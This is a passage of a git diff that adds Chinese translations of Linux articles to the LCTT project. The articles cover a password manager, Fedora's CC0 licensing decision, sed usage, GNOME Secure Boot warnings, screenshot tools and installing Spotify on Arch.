https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Evolution-of-AI-ML-and-DL.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Types-of-AI-ML-and-DL.jpg diff --git a/published/202208/20220801 Padloc- An Intuitive Open-Source Password Manager.md b/published/202208/20220801 Padloc- An Intuitive Open-Source Password Manager.md new file mode 100644 index 0000000000..bd21eb943d --- /dev/null +++ b/published/202208/20220801 Padloc- An Intuitive Open-Source Password Manager.md @@ -0,0 +1,117 @@ +[#]: subject: "Padloc: An Intuitive Open-Source Password Manager" +[#]: via: "https://itsfoss.com/padloc/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14913-1.html" + +Padloc:一个直观的开源密码管理器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/09/170622fcpzpcjmzxauwexw.jpg) + +> 让我们了解一下这个具有令人愉悦的用户界面、跨平台可用的开源密码管理器。 + +有大量适用于个人和团队的免费的和收费的密码管理器。 + +然而,当谈到开源方案时,它通常仅限于几个好的方案,如 [Seahorse][1]、[KeePassXC][2] 和 [Bitwarden][3]。 + +如果你已阅读过我们的 [Linux 最佳密码管理器][4]列表,你可能已经知道其中的一些。 + +我偶然发现了另一个有趣的开源密码管理器 **Padloc**,它可以因其用户体验而进入该列表。 + +### Padloc:安全的跨平台密码管理器应用 + +![padloc screenshot][5] + +虽然 Padloc 并不是特别流行,但它可不仅仅是又一个开源密码管理器。 + +你可以通过该应用和端到端加密来保护密码,从而获得令人耳目一新的用户体验。它旨在提供一个干净简单的界面来使用。 + +![padloc light mode][6] + +提供免费版本,但提供付费订阅以解锁大多数功能。 + +它支持所有主要平台,包括 Linux、Windows、macOS、Android 和 iOS。 + +你还可以获得 Mozilla Firefox 和谷歌 Chrome 的浏览器扩展以及所有可用的应用。因此,你也可以随时选择在浏览器上访问/使用它。 + +有趣的是,直到最近,该项目近两年都没有看到任何重大更新。但是,这个开源项目一直在修修补补。 + +### Padloc 的特点 + +![padloc active sessions][7] + +Padloc 提供一系列免费和收费功能。根据你的要求,你可以选择升级到付费订阅。 + +一些功能包括: + +* 保管库项目无限制 +* 设备数量无限制 +* 通过电子邮件进行双因素身份验证 +* 添加标签 +* 生成独特的密码 +* 支持使用 Favicon 来识别保管库项目 +* 深/浅模式主题 +* 主动会话管理 +* 导入/导出功能(加密容器/CSV) +* 团队支持(付费) +* 多因素身份验证(付费) +* 记笔记(付费) +* 文件附件(付费) +* 安全报告(付费) + +从技术上讲,你可以获得所有基本功能。但是,要充分利用它,你需要订阅起价为**每月 3.49 美元或每年 34.9 美元**的高级订阅。 + +### 在 Linux 上安装 Padloc + +![padloc app screenshot 1][8] + +Padloc 为你提供了多种适用于 Linux 的选项。你可以下载 AppImage、.deb、Snap 或 Flatpak 包。 + +此外,你可以下载非 electron 的桌面客户端版本,这很好! + +我测试了 AppImage 文件,它运行良好。你可以按照我们的指南 [使用 AppImage][9]、[设置 Flatpak][10] 或 [安装 deb 包][11] 开始使用。 + +你可以查看其 [官方网站][12] 或 [GitHub 页面][13] 了解更多信息。 + +> **[Padloc][14]** + +### 一个略显昂贵的密码管理器带来良好的用户体验 + +它的用户界面和使用它的整体体验给我留下了深刻的印象。 + +如果你优先考虑用户界面、极简主义和开源技术,无论你决定免费使用还是付费使用,Padloc 都是一个有用的选择。 + +当然,如果你想要物有所值(或更便宜)的东西,你可以随时选择 [Bitwarden][15] 之类的东西。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/padloc/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/seahorse/ +[2]: https://itsfoss.com/keepassxc/ +[3]: https://itsfoss.com/bitwarden/ +[4]: https://itsfoss.com/password-managers-linux/ +[5]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-screenshot.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-light-mode.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-active-sessions.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-app-screenshot-1.png +[9]: https://itsfoss.com/use-appimage-linux/ +[10]: https://itsfoss.com/flatpak-guide/ +[11]: https://itsfoss.com/install-deb-files-ubuntu/ +[12]: https://padloc.app/ +[13]: https://github.com/padloc/padloc +[14]: https://padloc.app/ +[15]: https://itsfoss.com/bitwarden/ diff --git a/published/202208/20220801 What Made Fedora Choose To Use CC0 Licensed Code As The Boot.md b/published/202208/20220801 What Made Fedora Choose To Use CC0 Licensed Code As The Boot.md new file mode 100644 index 0000000000..4adc494f31 --- /dev/null +++ b/published/202208/20220801 What Made Fedora Choose To Use CC0 Licensed Code As The Boot.md @@ -0,0 +1,52 @@ +[#]: subject: "What Made Fedora Choose To Use CC0 Licensed Code As The Boot" +[#]: via: "https://www.opensourceforu.com/2022/08/what-made-fedora-choose-to-use-cc0-licensed-code-as-the-boot/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "yjacks" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14921-1.html" + +为什么 Fedora 一开始允许使用 CC0 许可证 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/12/160739j1eqft2cpw7srssz.png) + +开源是一个具有挑战性的概念。许多人认为,开源意味着可以任意的使用软件,并且可以免费下载。这实际上取决于你如何被许可 —— 开发者分享代码时使用的许可证决定了它。开源软件可以是收费的,也可以限制你如何去使用它,在极少数情况下,甚至让你陷入法律纠纷。 + +Fedora 项目最近决定拒绝所有使用 知识共享Creative Commons “公共领域专用” CC0 许可证的代码,以避免这种情况的出现。CC0 将从新提交代码中准许使用的许可证列表中剔除,但是,像艺术品一类的贡献仍被允许所以它,甚至可能在个案的情况下对当前的软件包进行逐一的处理。 + +如果 Fedora 反对一个软件许可证,通常不会成为新闻。事实上,在那么多的许可证当中,该项目拒绝了许多许可证。这种情况的意外之处在于,CC0 最初被认为是一个有效的许可证,现在只是由于更大的自由及开源(FOSS)社区内的观点转变而被重新分类。 + +CC0 是因为什么让 Fedora 决定停止支持它,这又是否意味着你不能在你自己的项目中使用它呢? + +这一段描述让最熟悉知识共享及其许可系列的人惊讶的是,Fedora 最初批准了 CC0 的软件。毕竟,知识共享从一开始的目标是为艺术作品提供一系列明确的许可证。该组织的使命和许可证的要求在其名称“知识共享”中就有所体现。 + +为了“克服分享信息和创造力的法律障碍”,提供一个自由的框架来为人们组织分享如音乐、医学或教育材料的资源,知识共享组织的前身——开放内容项目Open Content Project,于 2001 年成立。然而,软件从来不是它的组成要素。为什么呢?因为那时,如 MIT、GPL 一类的重要的软件许可证已经出现了十几年。 + +很明显,如果一家公司不遗余力地警告你他们制造的东西不适合某种特定用途,你也许应该相信他们。知识共享的 FAQ 列出了一些反对在软件上使用他们的许可证的令人信服的论据,但对于像 Fedora 项目这样的用户来说,其中一个问题特别突出:专利权。 + +鉴于 CC0 许可证是为公共领域的作品准备的,而且通过使用它,创作者明确地“放弃了他或她在版权法下对作品的所有权利”,这似乎矛盾的。但是,问题在于,版权法并不适用于专利。事实上,仔细审视许可证的完整措辞后可以发现,它在一个令人担忧的部分解决了这个问题,该部分内容如下:“宣告者拥有的任何商标或专利权都没有被本文本放弃、抛弃、交出、租赁或以其他方式修改。” + +换言之,即使被 CC0 许可的东西的作者可能愿意放弃对它的权力,但他们仍然可以自由的为它申请专利。更糟糕的是,他们仍然保留着以他们认为合适的方式使用该专利的能力。 + +理论上来说,这意味着最初在 CC0 下提供的源代码的人在发布了代码之后,他们可能会在之后断言任何使用该代码的人侵犯了他们的专利,并要求支付专利费。 + +这显然会让像 Fedora 这样的项目担忧。考虑一下这样的情形:CC0 许可的代码进入到一个系统的核心,然后被提供给数以百万计的用户。突然间,不知道从哪里冒出来的原创作者,声称侵犯了专利权,并要求付款。红帽或 Fedora 的律师可以驳倒这种说法么?也许吧。那么,为了查明真相而使用 CC0 代码值得么?不值得。 + +要着重提到的是,这完全不是一个新问题。实际上,早在 2012 年,专利条款就阻止了开源倡议(OSI)许可证的审查委员会,他们无法最终确定 CC0 是否真正符合他们对开源许可证的定义。委员会未能达成一致意见,因为其成员认为将此类条款纳入软件许可将创造一个危险的先例。考虑到 Fedora 动荡的历史,它最初接受 CC0 的决定着实让人费解。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/what-made-fedora-choose-to-use-cc0-licensed-code-as-the-boot/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/08/fedora-1024x614-1-e1659346500461.jpg diff --git a/published/202208/20220802 How I use the Linux sed command to automate file edits.md b/published/202208/20220802 How I use the Linux sed command to automate file edits.md new file mode 100644 index 0000000000..f1964fd393 --- /dev/null +++ b/published/202208/20220802 How I use the Linux sed command to automate file edits.md @@ -0,0 +1,175 @@ +[#]: subject: "How I use the Linux sed command to automate file edits" +[#]: via: "https://opensource.com/article/22/8/automate-file-edits-sed-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14938-1.html" + +如何使用 Linux sed 命令自动进行文件编辑 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/17/120535by5jfu5dovfesd56.jpg) + +> 以下是从 Linux 命令行自动编辑文件的一些提示和技巧。 + +当我使用 Linux 命令行时,无论是在台式机上编写新程序还是在 Web 服务器上管理网站,我经常需要处理文本文件。Linux 提供了强大的工具,我可以利用这些工具来完成我的工作。我经常使用 `sed`,一个可以根据模式修改文本的编辑器。 + +`sed` 代表 流编辑器Stream EDitor,它编辑文件中的文本并打印结果。使用 `sed` 的一种方法是识别一个字符串在文件中的几次出现,并将它们替换为不同的字符串。使用 `sed` 来处理文本文件的方式似乎是无穷无尽的,但我想分享一些使用 `sed` 来帮助我管理文件的方法。 + +### 在 Linux 上搜索和替换文件中的文本 + +要使用 `sed`,你需要使用一个*正则表达式*。正则表达式是定义模式的一组特殊字符。我最常使用 `sed` 的例子是替换文件中的文本。替换文本的语法如下:`s/originaltext/newtext`。`s` 告诉 `sed` 执行文本替换或交换出现的文本。在斜线之间提供原始文本和新文本。 + +此语法将仅替换每行中第一次出现的 `originaltext`。要替换每个匹配项,即使在一行中原始文本出现了不止一次,要将 `g` 追加到表达式的末尾。例如:`s/originaltext/newtext/g`。 + +要在 `sed` 中使用此表达式,请使用 `-e` 选项指定此正则表达式: + +``` +$ sed -e 's/originaltext/newtext/g' +``` + +例如,假设我有一个名为 `game` 程序的 Makefile 文件,该程序模拟了康威的《生命游戏》: + +``` +.PHONY: all run clean + +all: game + +game: game.o +        $(CC) $(CFLAGS) -o game game.o $(LDFLAGS) + +run: game +        ./game + +clean: +        $(RM) *~ +        $(RM) *.o +        $(RM) game +``` + +`game` 这个名字并不是很有描述性,所以我想会把它改名为 `life`。将 `game.c` 源文件重命名为 `life.c` 非常简单,但现在我需要修改 Makefile 以使用新名称。我可以使用 `sed` 来将所有的 `game` 更改为 `life`: + +``` +$ sed -e 's/game/life/g' Makefile +.PHONY: all run clean + +all: life + +life: life.o +        $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) + +run: life +        ./life + +clean: +        $(RM) *~ +        $(RM) *.o +        $(RM) life +``` + +`sed` 会将输出打印到屏幕上,这是检查文本替换是否符合你要求的好方法。要对 Makefile 进行这些更改,首先,备份文件,然后运行 `sed` 并将输出保存到原始文件名: + +``` +$ cp Makefile Makefile.old +$ sed -e 's/game/life/g' Makefile.old > Makefile +``` + +如果你确信你的更改正是你想要的,请使用 `-i` 或 `--in-place` 选项来编辑文件。但是,我建议添加一个备份文件后缀,如 `--in-place=.old`,用来备份原始文件,以备日后需要恢复时使用。它看起来像这样: + +``` +$ sed --in-place=.old -e 's/game/life/g' Makefile +$ ls Makefile* +Makefile  Makefile.old +``` + +### 在 Linux 上使用 sed 引用文件 + +你可以使用正则表达式的其它功能来匹配特定的文本实例。例如,你可能需要替换出现在行首的文本。使用 `sed`,你可以用上尖号 `^` 来匹配行的开头。 + +我使用“行首”来替换文本的一种方式是当我需要在电子邮件中引用一个文件时。假设我想在电子邮件中共享我的 Makefile,但我不想将其作为文件附件包含在内。相反,我更喜欢在电子邮件正文中“引用”文件,在每行之前使用 `>`。我可以使用以下 `sed` 命令将编辑后的版本打印到我的终端,并将其复制粘贴到新的电子邮件中: + +``` +$ sed -e 's/^/>/' Makefile +>.PHONY: all run clean +> +>all: life +> +>life: life.o +>       $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) +> +>run: life +>       ./life +> +>clean: +>       $(RM) *~ +>       $(RM) *.o +>       $(RM) life +``` + +`s/^/>/` 正则表达式匹配每行的开头(`^`),并在那里放置一个 `>`。实际上,这相当于每行都以 `>` 符号开始。 + +制表符可能无法在电子邮件中正确显示,但我可以通过添加另一个正则表达式将 Makefile 中的所有制表符替换为几个空格: + +``` +$ sed -e 's/^/>/' -e 's/\t/  /g' Makefile +>.PHONY: all run clean +> +>all: life +> +>life: life.o +>  $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) +> +>run: life +>  ./life +> +>clean: +>  $(RM) *~ +>  $(RM) *.o +>  $(RM) life +``` + +`\t` 表示文字制表符,因此 `s/\t/ /g` 告诉 `sed` 用输出中的两个空格替换输入中的所有制表符。 + +如果你需要对文件进行大量编辑,你可以将 `-e` 命令保存在文件中,并使用 `-f` 选项来告诉 `sed` 将该文件用作“脚本”。如果你需要经常进行相同的编辑,这种方法特别有用。我已经准备了 `quotemail.sed` 的脚本文件来在我的电子邮件中引用 Makefile: + +``` +$ cat quotemail.sed +s/^/>/ +s/\t/  /g +$ sed -f quotemail.sed Makefile +>.PHONY: all run clean +> +>all: life +> +>life: life.o +>  $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) +> +>run: life +>  ./life +> +>clean: +>  $(RM) *~ +>  $(RM) *.o +>  $(RM) life +``` + +### 学习在 Linux 上使用 sed + +`sed` 是一个很好的工具,可以保存在你的 Linux 命令行工具包中。浏览 `sed` 手册页并了解有关如何使用它的更多信息。在命令行中键入 `man sed` 以获取有关不同命令行选项的完整文档,以及如何使用 `sed` 处理文本文件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/automate-file-edits-sed-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/features_solutions_command_data.png diff --git a/published/202208/20220802 Secure Boot Disabled- GNOME Will Soon Warn You About it.md b/published/202208/20220802 Secure Boot Disabled- GNOME Will Soon Warn You About it.md new file mode 100644 index 0000000000..a4fd67ff80 --- /dev/null +++ b/published/202208/20220802 Secure Boot Disabled- GNOME Will Soon Warn You About it.md @@ -0,0 +1,93 @@ +[#]: subject: "Secure Boot Disabled? GNOME Will Soon Warn You About it!" +[#]: via: "https://news.itsfoss.com/gnome-secure-boot-warning/" +[#]: author: "Anuj Sharma https://news.itsfoss.com/author/anuj/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14892-1.html" + +如果禁用了安全启动,GNOME 就会发出警告 +====== + +> GNOME 正计划通知用户其固件安全状态,来保护不安全的硬件。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/08/gnome-secure-boot-warning.jpg) + +当你在支持 UEFI 的电脑上安装 Linux 时,你必须禁用“安全启动Secure Boot”,因为启用该选项后,不能使用现场 USBLive USB 启动。 + +一些主流的 Linux 发行版支持安全启动,但对于许多其他发行版(以及板载的 Nvidia 硬件)来说,它的设置仍然具有挑战性。 + +虽然一年又一年,情况似乎并没有改善,但总的来说,安全启动是一个必不可少的保护功能。 + +因此,正如 [Phoronix][1] 所发现的,为了方便和让用户意识到这一点,GNOME 和红帽的开发者正在努力在安全启动被禁用时通知(或警告)用户。 + +### 它有什么用? + +UEFI/安全启动被批评为 DRM,因为它剥夺了用户的自由。开源社区的许多人仍然不赞同实施 UEFI/安全启动和 TPM,因为它带来了不便。这就催生了像 [Coreboot][2] 这样的项目在开源世界中蓬勃发展。 + +当然,如果你每天都用 Linux,我会建议你购买支持 Coreboot 的新硬件,这是一个不同的故事。 + +话虽如此,但可以肯定的是,安全启动是最简单的方法。 + +考虑到捆绑的专有固件,安全启动的安全性仍然值得商榷。但是,它是一个确保系统的固件安全的基本保护机制。 + +所以,开发者准备在启动闪屏([Plymouth][3])、GNOME 显示管理器(GDM)和 GNOME 控制中心显示警告。 + +![图片来源:GNOME 博客][4] + +GNOME 的一位开发者在 [博客文章][5] 中分享了它的更多细节,同时给出了其中的一些屏幕截图。 + +![][6] + +一位来自红帽的开发者在 [合并请求][7] 中提到。 + +> 安全启动被用来对付一些恶意软件试图感染系统的固件的安全威胁。用户可能会无意中禁用或软件可能会有意禁用安全启动。因此,配置不正确的话,系统就运行在一个不安全的平台上。如果启动闪屏能向用户提供一个警告,用户可以重新启动并重新配置他们的系统,或者立即寻求帮助。 + +所以,作为一个 GNOME 用户,当它进入 GNOME 43 的最终版本或任何未来的版本时,我乐于看到它所带来的变化。 + +如果你也想看看,你可以在 GNOME 控制中心的“隐私Privacy”标签下的“设备安全Device Security”部分找到这个选项,如下图所示,我的机器在 Arch Linux 上运行 GNOME 43 alpha。 + +![][8] + +该菜单还可以显示 TPM、英特尔 BootGuard 和 IOMMU 保护的细节。 + +![][9] + +看来我的系统并不像我想象的那么安全……但也许这就是这个功能的意义所在? + +如果你只在你的 Linux 发行版上使用 UEFI 模式,并且为了方便而关闭了安全保护功能,这能让你意识到这一点吗? + +有可能。但是,看看 Linux 发行版的状况和启用安全启动的问题。我不觉得这可能会是一个大问题。我们很快就会知道了。 + +### 如何禁用这个警告? + +正如在 GNOME Gitlab 的 [合并请求][10] 中提到的,在你的内核参数中添加 `sb-check=false` 就可以禁用这些警告。 + +不过,作为终端用户,你不需要担心这个问题。 + +你对即将在 GNOME 43 或更高版本中增加的这个功能有什么看法?你对 UEFI/安全启动有什么看法? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-secure-boot-warning/ + +作者:[Anuj Sharma][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/anuj/ +[b]: https://github.com/lujun9972 +[1]: https://www.phoronix.com/news/GNOME-Secure-Boot-Warning +[2]: https://www.coreboot.org/ +[3]: https://gitlab.freedesktop.org/plymouth +[4]: https://news.itsfoss.com/wp-content/uploads/2022/08/gnome-secure-boot-mockup.png +[5]: https://blogs.gnome.org/hughsie/2022/07/29/emulated-host-profiles-in-fwupd/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/08/boot-security.png +[7]: https://gitlab.freedesktop.org/plymouth/plymouth/-/merge_requests/176 +[8]: https://news.itsfoss.com/wp-content/uploads/2022/07/secure-boot-gnome.png +[9]: https://news.itsfoss.com/wp-content/uploads/2022/07/secure-boot-gnome1.png +[10]: https://gitlab.gnome.org/GNOME/gnome-shell/-/merge_requests/2333 diff --git a/published/202208/20220804 3 ways to take screenshots on Linux.md b/published/202208/20220804 3 ways to take screenshots on Linux.md new file mode 100644 index 0000000000..d9d3e90ebe --- /dev/null +++ b/published/202208/20220804 3 ways to take screenshots on Linux.md @@ -0,0 +1,74 @@ +[#]: subject: "3 ways to take screenshots on Linux" +[#]: via: "https://opensource.com/article/22/8/screenshots-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14943-1.html" + +在 Linux 上截屏的 3 种方法 +====== + +> 使用我最喜欢的工具在 Linux 上截屏,可以节省时间。 + +![](https://img.linux.net.cn/data/attachment/album/202208/18/172307e5du1dxqd66d66cm.jpg) + +在写开源软件时,我更喜欢展示一些截图来帮助演示我在说什么。古语有云,一图胜千言。如果你能展示一件事,那通常比试图用言语描述它要好。 + +有几种方法可以在 Linux 中截图。以下是我在 Linux 上用于捕获截图的三种方法: + +### 1、GNOME + +GNOME 有一个很棒的内置截图工具。只需按下键盘上的 `PrtScr` 键,GNOME 就会显示一个截图对话框: + +![Image of GNOME screenshot tool][2] + +默认操作是抓取区域的截图。这是一种在你制作截图时裁剪截图的非常有用的方法。只需将高亮显示框移动到你需要的位置,然后使用“抓取”角来更改大小。或选择其他图标之一以截取整个屏幕或系统上的单个窗口。点击“圆圈”图标进行截图,类似于手机上的“拍照”按钮。 GNOME 截图工具将截图保存在图片文件夹内的截图文件夹中。 + +### 2、GIMP + +如果你需要更多截图选项,你可以使用流行的图像编辑器 GIMP 截图。要进行截图,请选择“文件File”并选择“创建Create”子菜单,然后选择“截图Screenshot”。 + +![Image of the GIMP screenshot menu][3] + +该对话框允许你截取单个窗口、整个屏幕或仅一个区域的屏幕截图。我喜欢这个工具可以让你设置一个延迟:选择窗口后多长时间,按下截图后多长时间。当我想截取菜单操作的截图时,我经常使用此功能,因此我有足够的时间去窗口打开菜单。 + +GIMP 将截图作为新图像打开,你可以对其进行编辑并保存到你喜欢的位置。 + +### 3、Firefox + +如果你需要截取网站的截图,请尝试使用 Firefox 的内置截图程序。右键单击网页正文中的任意位置,然后从菜单中选择“截图Take Screenshot”: + +![Image of screenshot utility][4] + +Firefox 切换到模态显示,并提示你单击或拖动页面以选择区域,或使用其中一个图标保存整个页面的副本,或仅在浏览器中可见的内容: + +![Image of Firefox modal display][5] + +当你在屏幕上移动鼠标时,你可能会注意到 Firefox 会高亮显示某些区域。这些是页面上的块元素,例如 `
` 或其他块元素。单击该元素以对其进行截图。 Firefox 将截图保存到你的下载文件夹,或你设置为“下载”位置的任何位置。 + +如果你尝试记录流程,那么截图可以为你节省大量时间。 + +尝试使用其中一种方法在 Linux 上截图。 + +(图片来源:Jim Hall,CC BY-SA 40) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/screenshots-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png +[2]: https://opensource.com/sites/default/files/2022-07/screenshot-gnome.png +[3]: https://opensource.com/sites/default/files/2022-07/gimp-screenshot.png +[4]: https://opensource.com/sites/default/files/2022-07/firefox-screenshot_cropped_0.png +[5]: https://opensource.com/sites/default/files/2022-07/firefox-screenshot_1.png diff --git a/published/202208/20220804 Install Spotify on Manjaro and Other Arch Linux Based Distros.md b/published/202208/20220804 Install Spotify on Manjaro and Other Arch Linux Based Distros.md new file mode 100644 index 0000000000..0b00da6dbf --- /dev/null +++ b/published/202208/20220804 Install Spotify on Manjaro and Other Arch Linux Based Distros.md @@ -0,0 +1,161 @@ +[#]: subject: "Install Spotify on Manjaro and Other Arch Linux Based Distros" +[#]: via: "https://itsfoss.com/install-spotify-arch/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14965-1.html" + +在 Manjaro 和其他基于 Arch Linux 的发行版上安装 Spotify +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/25/133643nz8h58cl5ly8y6ly.jpg) + +> Spotify 不需要介绍。它是最流行的音乐流媒体服务。 + +你可以 [在 Web 浏览器中播放 Spotify][1],但如果你经常使用它,使用桌面应用会是一个更好的选择。 + +为什么呢?因为你可以用媒体键控制播放,得到歌曲的通知,而且不需要担心不小心关闭浏览器标签或窗口。桌面客户端给人一种完整的体验。 + +Spotify 为 Ubuntu 和 Debian [提供了一个仓库][2]。但在 Arch Linux 上安装 Spotify 呢? + +实际上,在 Arch Linux 上获得 Spotify 的桌面应用更加简单。只需使用这个命令: + +``` +sudo pacman -Syu spotify-launcher +``` + +这就是在基于 Arch 的 Linux 发行版上安装 Spotify 的众多方法之一,如 Manjaro、[Endeavour OS][3]、[Garuda Linux][4] 等。 + +在本教程中,我将讨论以下安装 Spotify 的方法: + +* 使用 [pacman][5](你已经在上面看到了,但我们会更深入地挖掘)。 +* 使用 [Pamac][6](Manjaro的软件包管理器)进行安装 +* 使用 [Flatpak][7](通用打包格式)进行安装 +* 使用 Snap(Spotify 团队的官方包)。 + +### 方法 1:使用 pacman 安装 Spotify + +Spotify 可在 Arch Linux 的社区仓库中 [找到][8]。它实际上是 Spotify 提供的 APT 仓库的 Rust 实现。 + +打开你的终端,按以下方式 [使用 pacman 命令][9]: + +``` +sudo pacman -Syu spotify-launcher +``` + +安装后,从应用菜单中启动它,并登录开始收听。 + +![Spotify on Arch Linux][10] + +输入下面的命令,将其连同其依赖关系和配置文件一起删除。 + +``` +sudo pacman -Rns spotify-launcher +``` + +### 方法 2:使用 Pamac 安装 Spotify + +如果你使用 Manjaro 或者 [在你的系统中安装了 Pamac][11],你可以用它来图形化安装 Spotify。 + +从应用菜单中打开添加/删除软件。点击左上角的搜索图标,搜索 Spotify。然后,选择名为 `spotify-launcher` 的软件包,并点击应用进行安装,如下图所示。 + +![Using Pamac to install Spotify][12] + +你也可以在安装后取消选择该软件包,并点击应用来删除它。 + +#### 使用 Pamac CLI + +是的,Pamac 也有一个命令行界面,你可以通过以下方式使用它来获得 Spotify。 + +``` +pamac install spotify-launcher +``` + +要删除,使用: + +``` +pamac remove spotify-launcher +``` + +### 方法 3:使用 Flatpak 安装 Spotify + +许多用户喜欢使用 Flatpak 安装专有应用,因为它提供了沙盒。 + +在终端输入以下命令来更新你的系统并安装 Flatpak(如果你还没有)。 + +``` +sudo pacman -Syu flatpak +``` + +然后,使用下面的命令启用 [Flathub 仓库][13]。 + +``` +flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo +``` + +现在,通过输入下面的命令安装 Spotify。 + +``` +flatpak install spotify +``` + +要删除 Spotify 的 Flatpak 包,你可以使用下面的命令。 + +``` +flatpak remove spotify +``` + +### 方法 4:使用 Snap 安装 Spotify + +我知道很多人对 Snap 打包格式的“封闭性”非常反感。然而,Spotify 官方提供了一个 Snap 包。你可以从 Spotify 的开发者那里得到它。 + +如果你的系统支持 Snap 包,请使用以下命令: + +``` +sudo snap install spotify +``` + +如果你以后想删除它,使用这个命令: + +``` +sudo snap remove spotify +``` + +### 总结 + +第一个方法中讨论的 Arch 包是由 [kpcyrd][14] 开发和维护的。你可以在 [这里][15] 查看源代码。 + +如果你喜欢 Arch Linux 并想支持它,请考虑向该项目捐款。所有的工作都是由社区成员完成的,他们是无偿的志愿者。 + +如果你在 Arch 上安装 Spotify 有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-spotify-arch/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://open.spotify.com/ +[2]: https://www.spotify.com/us/download/linux/ +[3]: https://endeavouros.com/ +[4]: https://garudalinux.org/ +[5]: https://wiki.archlinux.org/title/Pacman +[6]: https://wiki.manjaro.org/index.php/Pamac +[7]: https://itsfoss.com/what-is-flatpak/ +[8]: https://archlinux.org/packages/community/x86_64/spotify-launcher/ +[9]: https://itsfoss.com/pacman-command/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/spotify-e1658764973807.png +[11]: https://itsfoss.com/install-pamac-arch-linux/ +[12]: https://itsfoss.com/wp-content/uploads/2022/07/pamac-spotify-e1658764946532.png +[13]: https://flathub.org +[14]: https://github.com/kpcyrd +[15]: https://github.com/kpcyrd/spotify-launcher diff --git a/published/202208/20220804 Peppermint OS Now Also Offers a Systemd-free Devuan Variant!.md b/published/202208/20220804 Peppermint OS Now Also Offers a Systemd-free Devuan Variant!.md new file mode 100644 index 0000000000..15704a4724 --- /dev/null +++ b/published/202208/20220804 Peppermint OS Now Also Offers a Systemd-free Devuan Variant!.md @@ -0,0 +1,74 @@ +[#]: subject: "Peppermint OS Now Also Offers a Systemd-free Devuan Variant!" +[#]: via: 